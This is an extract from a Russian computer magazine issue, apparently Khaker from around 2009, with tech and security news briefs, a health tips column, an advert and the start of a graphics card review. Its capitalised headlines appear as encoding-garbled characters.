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ÏÎÑÒÎßÍÍÎ ÄÅÉÑÒÂÓÞÙÈÉ ÕÀÊ-ÝÌÓËßÒÎÐ
www.ring0cup.ru, на базе которого каждый месяц 
будем проводить конкурсы по взлому наших собствен-
ных серверов. Хорошая новость в том, что квесты будут 
доступны на сайте и после окончания конкурса, и ты 
в любой момент сможешь попробовать свои силы в 
пен-тесте заранее подготовленной системы. Соб-
ственно, в этом месяце на сайте www.ring0cup.ru тебя 
ждет сентябрьский хак-квест от журнала Хакер: спеши 
проявить себя и выиграть ценные призы, предостав-
ленные торговой маркой DEFENDER.

nikitozz, гл. ред. Х
http://vkontakte.ru/club10933209
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intro

Календарь здоровья
Осенью медведи медленно отходят в спячку, а вот многочисленные 
вирусы, напротив, просыпаются и всё время пытаются хакнуть твой 
организм.
Неприятная ситуация. Давай повернём её на 180 градусов — и попро-
буем взломать эти планы.
Чтобы перейти от слов к делу — к конкретике — предлагаем тебе оче-
редную подборку из пяти советов «Календаря Здоровья». Попробуй 
следовать этим советам — и ты будешь лучше выглядеть, лучше чув-
ствовать себя всю долгую и холодную зиму.
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ОБО ВСЕМ ЗА ПОСЛЕДНИЙ МЕСЯЦ

ÏÎ×ÒÎÂÛÉ ÑÅÐÂÈÑ GMAIL ÍÀÊÎÍÅÖ-ÒÎ ÂÎØÅË Â ÒÐÎÉÊÓ ÒÎÏÎÂÛÕ ÏÎ×ÒÎÂÛÕ 
ÂÅÁ-ÑËÓÆÁ, ÏÎÒÅÑÍÈÂ AOL Ñ ÒÐÅÒÜÅÃÎ ÌÅÑÒÀ.

NOKIA 
ÂÛÏÓÑÊÀÅÒ ÍÅÒÁÓÊ
Наши финские соседи из компании Nokia 
обнародовали характеристики и фотографии 
своего нового детища — первого в исто-
рии компании нетбука — Nokia Booklet 3G. 
Характеристики машинки таковы: процессор 
Intel Atom Z530 с тактовой частотой 1.6 ГГц 
(512 КБ, 533 МГц, 2 Вт), жесткий диск емкостью 
120 Гб, встроенная поддержка WiFi(b/g/n), 3G/
HSDPA и Bluetooth, GPS-приемник, 10-дюй-
мовый глянцевый HD-дисплей. Также Booklet 
3G может похвастаться фронтальной веб-каме-
рой, HDMI-портом для вывода HD-видео на 
телевизор, SD-ридером, тремя USB-портами 

и аудиоразъемом. Заявленное время авто-
номной работы нетбука составит, ни много, 
ни мало, 12 часов. Отдельно стоит сказать о 
дизайне. При изготовлении Booklet 3G, так же, 
как в ноутбуках компании Apple, используется 
цельный лист алюминия. Габариты девайса, 
в итоге, получились следующими: 264 x 185 
x 20 мм, при весе в 1.25 кг. Nokia Booklet 3G 
выйдет в трех цветовых вариациях — черно-
го, синего и серебристого цветов. Согласно 
некоторым источникам, цена новинки составит 
$799, но официального подтверждения от ком-
пании Nokia пока нет.

THE PIRATE BAY 
ÇÀÊÐÛËÑß 
È ÎÒÊÐÛËÑß
Страсти вокруг TPB, видимо, будут бушевать еще долго. На этот раз по 
трекеру, который как батарейки из известной рекламы, продолжает «ра-
ботать, работать и работать», ударили с неожиданной стороны. MAFIAA 
(презрительно-шутливое прозвище «Ассоциации музыкальной и кино-
индустрии Америки») выиграла суд против шведского трафик-провай-
дера Black Internet, вынудив последнего под угрозой штрафа в 500.000 
крон (порядка $70.000) прекратить поддержку The Pirate Bay. В Black 
Internet сочли должным внять решению суда и доступ к TPB отрубили. 
Конечно, Black Internet не был единственным провайдером «Пиратской 
бухты», но он был крупнейшим среди них, так что трекер все же провел в 
«дауне» почти сутки — более мелкие провайдеры, судя по всему, просто 
не справлялись с нагрузкой. Но день спустя TPB переехал и вернулся в 
строй. Теперь его создатели призывают пользователей собрать денег в 
поддержку Black Internet и ехидно обещают выслать всем голливудским 
«виновникам торжества» замечательные футболки с издевательской 
надписью: «Я потратил долгие месяцы и миллионы долларов на закры-
тие The Pirate Bay и все, что я получил — эту шикарную футболку».

ÏÎ ÄÀÍÍÛÌ ÊÎÌÏÀÍÈÈ PUREWIRE, 46% ÕÀÊÅÐÎÂ, ÑÏÅÖÈÀËÈÇÈÐÓÞÙÈÕÑß 
ÍÀ ÑÅÒÅÂÛÕ ÀÒÀÊÀÕ, ÞÇÀÞÒ ÁÐÀÓÇÅÐ MOZILLA FIREFOX, À ÅÙÅ 26% 
ÏÐÅÄÏÎ×ÈÒÀÞÒ OPERA.

MEGANEWS
MEGANEWS МАРИЯ «MIFRILL» НЕФЕДОВА  /  MIFRILL@R EAL.XAKEP.RU / 
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ÂÈÄÅÎ-ÐÅÊËÀÌÀ 
Â ÁÓÌÀÆÍÎÌ 
ÆÓÐÍÀËÅ
Заголовок этой новости смахивает на что-то из области 
фантастики (или из книжек про «Гарри Поттера»), однако 
это уже реальность. В середине сентября в продажу посту-
пил свежий номер журнала Entertainment Weekly содержа-
щий видео-рекламу. Принцип работы прост — тончайший 
LCD-дисплей, размером примерно с экран мобильника, 
плюс батарейка, которую, кстати, можно будет заменить. По 
аналогии с музыкальными открытками, рекламный ролик 
запустится тогда, когда читатель откроет страницу с ним. 
В ролике будет содержаться анонс программы передач 
американского телеканала CBS, а так же реклама Pepsi. 
По оценкам некоторых специалистов, цена размещения 
подобной рекламы в журнале с тиражом в сто тысяч экзем-
пляров составит более миллиона долларов. Для сравнения 
— обычная цветная реклама в Entertainment Weekly стоит 
порядка 9 центов за копию полного листа и, соответствен-
но, порядка $9.000 за весь стотысячный тираж. На какие 
только жертвы не готовы пойти рекламодатели, привлекая 
внимание публики к своим продуктам, ведь это уже не пер-
вый случай — еще в прошлом году журнал Esquier выпустил 
юбилейный номер с «живой» e-ink обложкой и аналогич-
ной рекламой внутри.   

ÍÎÂÛÅ 
WALKMAN ÎÒ SONY
Компания Sony представила сразу два новых плеера из линейки Walkman — S540 
и E440K. Отличительная особенность первой модели — встроенные динамики, 
позволяющие слушать музыку и смотреть видео без наушников. Плеер оснащен 
2.4-дюймовым дисплеем с разрешением 320 x 240 и способен воспроизводить ви-
део со скоростью до 30 кадров. Также имеется 5-полосный эквалайзер и FM-тюнер, 
а заботу о твоих ушах берет на себя система Dynamic Normalizer, автоматически 
выравнивающая уровень громкости. Помимо всего перечисленного S540 обладает 
встроенным диктофоном и поддерживает запись с радио. Впечатляет и заявлен-
ный срок работы от одного заряда аккумулятора — до 42 часов для аудио и 6.5 часов 
для видео. В режиме включенных динамиков цифры изменятся на 17 и 5 часов 
соответственно.
Вторая модель обладает более скромным 2" экраном, не имеет встроенных ди-
намиков, зато поставляется с док-станцией, которая берет эту функцию на себя. В 
E440K также присутствует FM-радио с функцией записи. От одной зарядки девайс 
проработает 30 часов в режиме аудио и 4 часа в режиме видео. Обе модели будут 
поставляться с 8 или 16 гигабайтами памяти. В зависимости от емкости памяти 
цена модели S540 составит от 6300 до 7800 рублей, а модели E440K — от 4300 до 
6800 рублей.  

ÊÎÌÏÀÍÈß SECUNIA ÏÐÎÂÅËÀ 
ÈÑÑËÅÄÎÂÀÍÈÅ È ÎÁÍÀÐÓÆÈËÀ 
30 «ÄÛÐÎÊ» Â ÁÐÀÓÇÅÐÅ 
OPERA, 31 Â IE, 32 Â SAFARI 
È 115 Â FIREFOX.  
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На днях стало известно о том, 
что компании Microsoft и Nokia 
заключили долгосрочное 
стратегическое соглашение, 
ориентированное на разработки 
и продажи в области мобильных 
решений и платформ. Его ключе-
выми пунктами станут следующие 
вещи: для Nokia будет разработа-
на поддержка офисных приложе-
ний MS; уже со следующего года 
Nokia будет поставлять со сво-
ими продуктами Microsoft Office 

Communicator Mobile — корпо-
ративное решение для обмена 
мгновенными сообщениями и 
организации конференций, вслед 
за которым «подтянутся» и другие  
приложения Office, ПО и серви-
сы. Также появится Exchange 
ActiveSync для платформы Nokia 
и будет введена Nokia-поддержка 
в Microsoft System Center. Судя 
по всему, у BlackBerry в скором 
времени появится очень тяжело-
весный конкурент.

MICROSOFT + NOKIA = ?

ÊÎÍÒÐÎËÜ Â WIKIPEDIA
Самая свободная энциклопедия Wikipedia, похоже, решила пересмот-
реть взгляды на одну из своих основных фишек — свободное внесение 
поправок в любую статью. В англоязычной Вики был проведен опрос, в 
ходе которого 80% участвовавших в нем юзеров высказались за введе-
ние методов контроля над правками. Так что теперь все корректировки к 
статьям о живых людях будут сначала просматривать редакторы-добро-
вольцы, которых уже набралось порядка 25.000 человек. Пока эта мера 
вводится в тестовом режиме — на два месяца, но вряд ли от нее впос-
ледствии откажутся, ведь банальный вандализм и более тонкая подмена 
данных в статьях — уже давно известный бич Wikipedia. Из последних 
громких инцидентов можно назвать смерть Майкла Джексона, когда 
соответст вующая статья едва не захлебнулась множеством домыслов и 
теорий о причинах его кончины. А уж сколько раз живым и здравствующим 
людям приписывали дату смерти, и вовсе не счесть. Стоит отметить, что 
аналогичная система проверки изменений редакторами уже больше года 
работает в немецкой «Вики», и от этого пока еще никто не умер :). 

Â ÈÞÍÅ ÊÎËÈ×ÅÑÒÂÎ ÏÎËÜÇÎÂÀÒÅËÅÉ 
TWITTER ÏÅÐÅÂÀËÈËÎ ÇÀ ÎÒÌÅÒÊÓ 
44.5 ÌËÍ. ×ÅËÎÂÅÊ. 

ÒÀÍÖÓÞÒ ÂÑÅ
У нас есть хорошие новости для меломанов — теперь прямо в результатах 
поиска Яндекса можно слушать музыку и, что характерно — совершенно 
легально и бесплатно. Дело в том, что Яндекс заключил договоры с веду-
щими компаниями на музыкальном рынке (например, с EMI и Universal), 
и в каталоге музыки Яндекса уже сейчас доступно более 100.000 треков, а 
в скором будущем эта цифра вырастет до полумиллиона композиций. На 
сегодняшний день для легального прослушивания предлагаются треки 
таких исполнителей как U2, Rammstein, Rolling Stones, the Black Eyed 
Peas и так далее. Чтобы воспользоваться новой функцией, достаточно 
вбить в строку поиска название песни, и, если композиция есть в катало-
ге, то над результатами поиска отобразится плеер.  
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15-ÄÞÉÌÎÂÛÉ OLED

È ÇÀ ÄÎÌÅÍÛ  
ÒÎÆÅ ÑÓÄßÒ

По циркулирующим в Cети слухам, компания LG готовится представить новый продукт — теле-
визор LG OLED TV, который на момент выхода в продажу, похоже, будет обладать самым боль-
шим OLED-дисплеем среди всех нынешних серийных телевизоров. Судя по всему, продукт уже 
полностью готов (что подтверждают и сами представители компании); его прототип был представ-
лен еще в начале года, но по каким-то причинам продажи в Корее начнутся лишь в декабре, а во 
всем остальном мире и того позже. Согласно предварительным данным срок службы ТВ составит 
порядка 30 тысяч часов, разрешение экрана будет лучше, чем у 11-дюмового Sony XEL-1, то есть 
— 1366х768 против 960x540, а коэффициент контрастности будет равен 1.000.000:1. Стоимость 
девайса пока не разглашается.            

В США впервые в истории собираются осудить человека за кражу 
доменного имени. В Нью-Джерси недавно был арестован гражданин 
Соединенных штатов Даниэль Гонсалвес (Daniel Goncalves), и, как выяс-
нилось, обвиняют его в краже и последующей перепродаже отличного 
доменного имени P2P.com. Еще несколько лет назад Даниэль якобы 
взломал аккаунт настоящего владельца P2P.com, перерегистрировал 
домен на себя, а затем продал «красивое» имя на аукционе eBay за круг-
ленькую сумму в 111 тысяч долларов. Если обвинению удастся доказать, 
что мошенничество, незаконное хищение персональной информации и 
кража с использованием компьютера имели место, то 25-летнему хакеру 
грозит до 10 лет тюрьмы. Какие-либо комментарии сам Гонсалвес давать 
отказывается, хотя и находится на свободе — его выпустили под залог в 
$60.000.   

ÁÅÒÀ-ÂÅÐÑÈß GOOGLE CHROME (ÇÀ ÍÎÌÅÐÎÌ 
3.0.195.4) ÐÀÁÎÒÀÅÒ ÍÀ 30% ÁÛÑÒÐÅÅ ÒÅÊÓÙÅÉ 
ÑÒÀÁÈËÜÍÎÉ ÂÅÐÑÈÈ.

Компания Kaspersky Lab представила два новых продукта — комплек-
сное решение Kaspersky Internet Security 2010 (антивирус, антиспам, 
защита от атак) и «Антивирус Касперского 2010». В KIS 2010 был 
реализован новый подход с защите, названный «Территория безо-
пасности». Глобальный мониторинг машины призван предотвращать 
заражение компьютера, что гораздо эффективнее, нежели исправле-
ние последствий уже состоявшегося заражения. Но главной фишкой 
версии 2010 стала Sandbox («песочница»), на основе которой строится 
функция «Безопасная среда». С ее помощью стал возможен запуск 
подозрительного ПО и сайтов в виртуальной изолированной среде, от-
куда потенциальный малварь не может нанести вреда пользователь-
скому компьютеру. В дополнение к перечисленному был переработан 
пользовательский интерфейс обоих продуктов, став более удобным и 
понятным для начинающих пользователей. Не обошлось, конечно, и 
без доработки и оптимизации старых функций — всего в новой версии 
более десятка новых опций и улучшений. Цена  KIS 2010 составит 1600 
рублей, а «Антивируса Касперского» 1200 рублей (продление лицен-
зии, традиционно, обойдется дешевле). 

ÏÅÑÎ×ÍÈÖÀ 
ÎÒ ÊÀÑÏÅÐÑÊÎÃÎ
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ÑËÈÂ ÇÀÑ×ÈÒÀÍ!ÏÎËÍÛÉ ÁÀÊ 
ÄËß ÍÎÓÒÁÓÊÀ

ÈÑÑËÅÄÎÂÀÒÅËÈ DDOS’À

Очередной fail настиг создателей и пользователей попу-
лярного (вопреки всему) IM QIP. На этот раз неприятность 
заключалась уже не в банальном дефейсе главной 
страницы qip.ru, и даже не в очередной смене протокола 
AOL’ом — на этот раз в Сети, ни много, ни мало, обнару-
жился список из ~160.000 почтовых адресов пользова-
телей. В открытом доступе. Самое смешное (или, скорее, 
грустное), что повинны в глобальной утечке оказались 

вовсе не хакеры и злопыхатели, а сами админы одного из сервисов QIP — games.qip.ru. 
«Сами себе злобные буратины» допустили обыкновенную халатность и уже становящу-
юся традиционной бестактность. На означенный геймерский сервис подписали кучу 
людей, разумеется, без их ведома (это становится нормой), а по недосмотру админов в 
форуме games.qip.ru можно было легко и легально увидеть все e-mail’ы «посчитанных» 
юзеров. Конечно, как только информация об этом дошла до РБК, «дырку» сразу закрыли, 
но база к этому моменту уже успела отправиться в народ — сообщать об ошибке никто 
особенно не торопился. База, конечно, далеко не полная, но в то же время 160.694 адреса 
— не шутки. Но совсем печально становится от того, что извинился за всех, только один 
из ведущих разработчиков QIP — Sega-Zero: «Сам был шокирован этим вопиющим 
безобразием. Извините, перед всеми нижайше извиняюсь. Я лично извиняюсь, потому 
что, кроме меня, извиняться никто не будет». По поводу последнего Sega-Zero не ошибся 
— РБК предпочитает хранить молчание и делать вид, что все хорошо. 

Компания Toshiba уже много лет занимается разработками 
элементов питания, в основе которых лежит технология DMFC 
— это разновидность топливного элемента с протонообмен-
ной мембраной. Топливо (метанол) в них предварительно не 
разлагается с выделением водорода, а используется в топ-
ливном элементе напрямую. Запустить в продажу ноутбуки, 
мобильники и плееры с использованием DMFC-технологий 
Toshiba грозится уже не первый год, показывая работающие 
прототипы на выставках, но каждый раз возникали проблемы, 
и до продаж дело так и не дошло. И вот представители компа-
нии в очередной раз объявили, что производство DMFC-за-
рядников для разнообразных гаджетов начнется в ближайшие 
2 месяца. Если все пройдет как надо, то в продаже зарядные 
устройства должны будут появиться в апреле-сентябре 2010 
года. К сожалению, о цене, а главное — о весе новейших дости-
жений прогресса ничего конкретного пока сказать нельзя.  

Под эгидой «Центра телекоммуникаций и 
технологий Интернет МГУ имени М.В. Ломоно-
сова» (ЦТТИ МГУ) летом стартовал проект по 
изучению и противодействию DDoS-атакам. 
Это уже не первый случай, когда МГУ занимает-
ся исследованием проблем в области высоких 
технологий, но проект уж очень актуален и 
злободневен. На исследование вопроса бро-
шены лучшие силы и мощности — и ведущие 
специалисты в сферах компьютерной безопас-
ности, сетевых технологий и веб-разработки, 
и техника соответствующего уровня. Здесь 
совершенно бесплатно может «попросить убе-
жища» любой ресурс, находящийся под атакой, 
и его предоставят в течение часа (конечно, 
если сайт не конфликтует с законами РФ) — ис-
следовательская площадка уже благополучно 
выдерживала нагрузку в 100-150 тысяч ботов 
в стуки. Всю коммерческую составляющую 
проекта взяла на себя независимая Лаборато-
рия Высоких Нагрузок, а данные, собранные в 
результате исследований, будут общедоступны.  

PC27

Один из основателей сервиса Twitter — Биз 
Стоун — признался, что в компании полным 
ходом идет работа над созданием системы ком-
мерческих аккаунтов, которая будет запущена в 
обозримом будущем. Однако пугаться не стоит 
— Twitter останется бесплатен для всех, как и 
сейчас, а нововведения предназначаются в 
первую очередь для корпоративных клиентов. 
В Twitter довольно много крупных компаний, 
например, заинтересованных в сервисах более 
детальной статистики и ее анализа. Также 
Стоун заявил, что после запуска коммерческих 
акков, возможно, будет разработан бизнес-
ориентированный программный интерфейс 
(API), для создания вокруг Twitter «коммер-
ческого слоя». При этом как-то притеснять 
сторонних разработчиков, которые уже давно 
делают всевозможные приложения для Twitter, 
компания не собирается.  

ÌÎÍÅÒÈÇÀÖÈß 
TWITTER ÍÅ ÇÀ ÃÎÐÀÌÈ

Тем, кто пользуется Skype в полном объеме, 
то есть имеет платный аккаунт, наверняка, 
будет приятно узнать, что появился еще 
один способ пополнения счета — теперь 
это можно сделать и при помощи системы 
WebMoney. Так как WebMoney у нас пользу-
ется большой популярностью, этот способ 
явно будет востребован и, по сути, его 
ждали давно. К оплате принимаются WMR 
и WMZ (последние — если платить через 
«PayByCash»), дополнительная комиссия за 
услугу не взимается.

SKYPE 
ÏÎÄÐÓÆÈËÑß 
Ñ WEBMONEY
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ÔÓÒÓÐÈÑÒÈ×ÅÑÊÈÉ 
ÒÐÀÍÑÏÎÐÒ
В лондонском аэропорту Хитроу должна вот-вот заработать анонсированная еще 2 года назад 
транспортная система будущего — ULTra. Автоматизированная дорога, по которой передвигаются 
экологичные беспилотные машинки-кабины, работающие на батареях, пока будет перевозить 
пассажиров от 5-го терминала Хитроу до парковки аэропорта. Стоит сказать, что Хитроу — один из 
крупнейших аэропортов в мире и там нетрудно заблудиться, а расстояния такие, что между  терми-
налами курсируют автобусы. В прочем, теперь не только они. Разработкой ULTra занимались без 
малого 20 лет и создатели надеются, что аэропорт, — это лишь первый шаг на пути к более широкому 
применению новой транспортной системы. Машинки ULTra способны развивать скорость до 40 км\ч 
(что сопоставимо со средней скоростью движения в московском метро), могут принять на борт до 4-х 
пассажиров и, конечно, им неведомы пробки. 

ÁÅÇÎÏÀÑÍÎÑÒÜ 
ÏÐÅÂÛØÅ ÂÑÅÃÎ
Компания Apricorn, специализирующаяся на устройствах для хранения дан-
ных, выпустила очень интересный внешний хард — Aegis Padlock. Девайс для 
настоящих параноиков — он не только обеспечивает шифрование данных в 
реальном времени по алгоритму AES-128 бит или AES-256 бит, но и оснащен 
системой PIN-кодов. На лицевой части жесткого диска расположена клавиа-
тура, так что получить доступ к информации можно только после ввода личного 
идентификационного номера. Помимо перечисленного Aegis Padlock укомп-
лектован еще и 16-точечной всенаправленной системой защиты от ударов. К 
ПК девайс подсоединяется через USB. Всего Apricorn представила 6 моделей 
данного устройства, емкостью от 250 до 500 гигабайт. Цена новинки варьирует-
ся от $99 (250 Гб, шифрование AES-128) до $159 (500 Гб, шифрование AES-256). 

ÈÑÑËÅÄÎÂÀÍÈÅ ÊÎÌÏÀÍÈÈ COMNEWS RESEARCH ÏÎÊÀÇÀËÎ, ×ÒÎ ÑÀÌÀß 
ÄÎÐÎÃÀß ÑÎÒÎÂÀß ÑÂßÇÜ Â ÐÎÑÑÈÈ — Â ÌÎÑÊÂÅ, ÌÀÃÀÄÀÍÅ È ÍÀ ×ÓÊÎÒÊÅ.
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Случилось то, что не могло не случиться — в 
США, совсем недалеко от штаб-квартиры 
Microsoft, в Редмонде, штат Вашингтон, открыла 
свои двери первая в стране клиника лечения 
интернет-зависимости Heavensfield Retreat 
Center. Такого рода заведения есть и в других 
странах мира, в Китае, например, таких клиник 
уже более 200 и они фактически стали нормой. 
Однако на востоке все это мало напоминает 
реабилитационные центры, скорее, концлагеря 
или казармы. Там даже известны случаи, когда 
игровую и онлайновую зависимость «лечили» 
электрошоком или же банальными побоями. 
В США все, разумеется, иначе — Heavensfield 
Retreat Center скорее похож на дорогостоящий 
курорт – 45-дневный курс reStart обойдется 
в $14.500, плюс ежедневные расходы. За эту 
сумму американские специалисты обещают из-
бавить от пагубного пристрастия к онлайновым 
играм, блогам, социальным сетям, СМСкам и 
любым другим достижениям прогресса. Некото-
рых совсем отчаявшихся личностей кругленькая 
сумма, впрочем, не останавливает — клиника 
уже приняла первых пациентов.

«È ÒÅÁß ÂÛËÅ×ÀÒ, È ÌÅÍß ÂÛËÅ×ÀÒ»

ÐÎÑÑÈß — ÐÀÉ 
ÄËß ÕÀÊÅÐÎÂ
С очень лестным для наших киберпре-
ступников заявлением выступили на 
ежегодной конференции BlackHat пред-
ставители ФБР и секьюрити-компании 
McAfee. По их мнению, наши «кул хацке-
ры» самые организованные и опасные в 
мире, и с ними не только крайне трудно 
бороться, но и достать их в России почти 
невозможно. Отметили в ходе выступ-
ления и тот факт, что наши наказания 

совершенно несоразмерны выгоде 
от такого рода преступлений. В ФБР и 
McAfee уверены, что даже пойманные 
и отсидевшие свой срок российские 
хакеры будут рады вернуться к «темным 
делишкам» сразу по выходу из тюрьмы. 
Не забыли безопасники и шокировать 
публику статистикой, согласно которой, 
урон наносимый киберпреступниками 
только лишь США составляет $256 млн. 

в год. Впрочем, справедливости 
ради, стоит заметить, что о тесной 
связи наших преступников с хаке-
рами из США и других стран мира, 
все же было сказано немало. 

ÊÎÌÏÀÍÈß TRUSTEER ÏÐÅÄÓÏÐÅÆÄÀÅÒ — ÏÎ×ÒÈ 80% ÊÎÌÏÎÂ, ÍÀ 
ÊÎÒÎÐÛÕ ÓÑÒÀÍÎÂËÅÍÛ ACROBAT READER È FLASH — ÑÅÐÜÅÇÍÎ ÓßÇÂÈÌÛ. 
ÏÎÌÎÃÀÞÒ ÎÒ ÝÒÎÃÎ ÊÐÈÒÈ×ÅÑÊÈÅ ÎÁÍÎÂËÅÍÈß, ÊÎÒÎÐÛÅ ÈÍÎÃÄÀ ÏÎËÅÇÍÎ 
ÑÒÀÂÈÒÜ ÂÎÂÐÅÌß. 

Совет №1. 
Начинай утро 
с легкой разминки!
Ни один компьютер не 
включится без загрузки. 
Она может быть быстрой 
или медленной, но она 
должна быть. Доказано, 
что физические упражне-
ния полезны не только телу 
– они разгоняют кровь и 
стимулируют работу мозга, 
который, мы думаем, тебе 
очень пригодится в тече-
ние дня!
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Ни для кого не секрет, что в рунете давным-давно развернулось 
противостояние не на жизнь, а на смерть между одной из крупнейших 
сетевых библиотек «Либрусек» (http://lib.rus.ec) и правообладателя-
ми. На протяжении двух лет противники копирайтов из «Либрусек» 
не отступали и не сдавались, а юзеры наполняли построенную на 
wiki-принципе библиотеку все новым и новым контентом. И, видимо, 
все уже настолько привыкли к постоянным DDoS-атакам на «Либру-
сек» и к его ссорам с правообладателями, что внезапная весть о по-
любовном договоре между библиотекой и «осью зла» — интернет-из-
дательством электронных книг «Литрес» (между прочим — коалиция 
бывших пиратов), для многих стала шоком. Хотя ничего шокирующе-
го, если разобраться, не произошло. Достигнутый консенсус состоит 
в следующем: основные деньги, как известно, делаются на продаже 
новинок. В свете этого основатели «Либрусека» договорились с 
главой «Литреса» Алексеем Кузьминым о том, что будут придержи-
вать новые книги в течение месяца, запрещая их скачивание. Для 
этого полностью блокируется страница автора, дабы хитрые юзеры не 
сумели обмануть фильтры и автоматику. Важно заметить, что читать 
новые произведения в онлайне, как и раньше, можно безо всяких 
проблем на обоих ресурсах. Онлайн чтение, в свою очередь, будет со-
провождаться показом рекламы, деньги за которую пойдут издатель-

ству «Литрес». По прошествии оговоренного месяца, когда новые 
книжки перестанут быть новыми, они станут доступны для скачивания 
в обычном порядке. При этом слив книг с «Либрусека» по-прежнему 
останется нелегальным занятием, а «Либрусек» — пиратами, но в 
«Литресе», очевидно, готовы закрыть на это глаза. Прецедент весьма 
интересный, а паникующим юзерам, кричащим, что «Либрусек уже не 
тот!», хочется посоветовать почитать о том, как с пиратами борются на 
западе, а потом подумать еще раз.                  

ØÀÒÊÎÅ ÐÀÂÍÎÂÅÑÈÅ 
ÄÎÑÒÈÃÍÓÒÎ
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• Velle повышает иммунитет и помогает твоему организму противостоять

неблагоприятным условиям окружающей среды

• Velle нормализует пищеварение и устраняет дисбактериоз

•  Velle защищает печень, выводя из организма токсины и яды

•  Благодаря растворимым пищевым волокнам VITAVEN®, Velle благоприятно

сказывается на работе сердца

Сплойтпак 
для твоего здоровья
30 часов на отладку ядерного руткита под Windows 7, чипсы на завтрак, кола на 

обед, вчерашняя пицца на ужин. Знакомая ситуация? Парень, пора завязывать! 

Долго так не протянешь, время налаживать питание.

Velle – био-овсяный продукт, приготовленный по аутентичному карельскому 

рецепту. Не содержит молока и обладает целым рядом клинически доказанных 

свойств:

www.velleoats.com
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МЕТОДИКА 
ТЕСТИРОВАНИЯ
Исследование производительности плат про-
водилось с помощью двух типов инструментов 
— синтетических и игровых тестов. К первым от-
носились 3DMark 2006 (немного устаревший, но 
все еще помогающий понять, насколько сильна 
та или иная плата) и 3DMark Vantage — совре-
менный тест, заточенный под DirectX 10. Вторая 
часть испытаний состояла из игровых тестов. 
Мы использовали Crysis, GTA IV и The Sims 3 — 
популярные игрушки, которые требуют мощную 
видеоплату. Естественно, мы не забыли о том, 
что мощность всегда идет рука об руку с тепло-
выделением, поэтому использовали функцию 
отслеживания температуры графического чипа 
утилиты Riva Tuner (замер проводился после 
основательной нагрузки — трехкратного прого-
на GPU Test’а Crysis). Кстати, если после такой 
нагрузки температура резко поднималась, то 
тест повторялся (то есть, был шестикратным), 
чтобы понять, какая же температура является 
для видеоплаты рабочей в условиях повы-
шенной нагрузки. Если же после трех запусков 
температура стабилизировалась, то никаких 
дополнительных действий не предпринима-
лось. Кроме того, мы оценивали комплектацию, 
систему охлаждения и наличие у видеоплаты 
дополнительных возможностей.

ТЕХНОЛОГИИ
Большинство плат, участвующих в нашем сегод-
няшнем тесте, построены на графических про-
цессорах, которые уже исследованы в тестовых 
лабораториях вдоль и поперек. Мы тоже уже не 
раз писали об их особенностях. Поэтому сейчас 
мы не будем обсуждать количество шейдеров и 
мегагерц, а напомним тебе несколько простых, 
но важных правил, о которых люди нередко 
забывают в погоне за идеальной, по их мнению, 
видеоплатой. Во-первых, не забывай про 
физические размеры платы — если твой корпус 
невелик или сильно забит, то могут быть пробле-
мы с установкой. Во-вторых, объективно оцени 

систему охлаждения своего ПК — несмотря на 
мощные кулеры на платах, они основательно 
греются и греют других, что ведет к различным 
глюкам. Возможно, тебе понадобится пара 
дополнительных вентиляторов. В-третьих, не 
всегда стоит переплачивать за последнюю 
модель — на рынке огромное количество плат 
предыдущего поколения, чьей мощности будет 
хватать еще очень долго, а стоят они значитель-
но дешевле. И, в-четвертых, оценивай комплект 
поставки — производитель может бесплатно 
набить коробку подарками, а иногда, наоборот, 
за вложенный переходник просят несколько 
десятков лишних баксов.
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Если, несмотря на финансовый кризис, ты все-таки решил обновить ви-
деоподсистему своего компьютера, то ты выбрал удачное время. Весной 
ведущие производители выпустили на рынок новые чипы, количество 
новых плат сейчас велико, а цены благоволят к покупке. Выбирай подхо-
дящую плату и играй до нового учебного года!

ТЕСТИРОВАНИЕ СОВРЕМЕННЫХ ГРАФИЧЕСКИХ АДАПТЕРОВ

×òîáû 
êà÷åñòâåííî çàãàìàòü

CRYSIS 1680X1050, HIGH, GPU TEST (FPS)

0              5              10               15              20              25              30              35 
ATI Radeon HD 4770

Sapphire Radeon HD 4850

Sapphire Radeon HD 4890

Zotac GeForce GTS 250 Amp!

Zotac GeForce GTX 260 Amp!

Zotac GeForce GTX 275 Amp!
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FERRUM
 СЕРГЕЙ  НИКИТИН
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Основанная на недорогом современном чипсете, плата наверняка 
будет популярна у тех, кто стремится выбирать устройства, исходя из 
наилучшего соотношения качества и цены. Новый техпроцесс (40 нм) 
позволил разработчикам добиться хороших характеристик: частота ГП 
составляет 750 Мгц, плата обладает небольшими размерами, которых 
вполне достаточно, чтобы установить на ней небольшой турбокулер. 
Модель оснащена 512 Мб графической памяти GDDR5, — хватит для 
современных игр (а цена устройства не возрастает от никому не нужных 
дополнительных мегабайт). Вендор установил рекомендуемую цену на 
уровне 109 долларов, так что резерв падения цены есть — можно немно-
го подождать и сэкономить.

Главным недостатком платы является крайне узкая (128 бит) шина 
памяти, которая не позволяет ей достичь более впечатляющих скоро-
стных высот. С другой стороны, учитывая ценовой сегмент устройства и 
его результаты в тестах, можно сказать, что свои деньги оно полностью 
отрабатывает.

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: ATI RV740
ТЕХПРОЦЕСС, НМ: 40
РАЗЪЕМЫ: 2xDVI 
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 1x6 пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 750
ЧАСТОТА ПАМЯТИ, МГЦ: 1100
ТИП ПАМЯТИ: GDDR5
ОБЪЕМ ПАМЯТИ, МБ: 512
ПОДДЕРЖКА SLI/CROSSFIRE: да
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: ATI RV770
ТЕХПРОЦЕСС, НМ: 55
РАЗЪЕМЫ: 2xDVI, 1x S-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 1x6 пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 625
ЧАСТОТА ПАМЯТИ, МГЦ: 1000
ТИП ПАМЯТИ: GDDR3
ОБЪЕМ ПАМЯТИ, МБ: 512
ПОДДЕРЖКА SLI/CROSSFIRE: да

 
Очень широко распространенная, проверенная временем и много-
численными тестами графическая плата от Sapphire. Если тебе нужен 
недорогой видеоадаптер, а заморачиваться с выбором по каким-то 
причинам не хочется, смело покупай ее. Она исследована вдоль и попе-
рек, мы сравнивали ее с множеством других плат. Устройство надежно и 
достаточно производительно, проблем с ним возникнуть не должно. Сто-
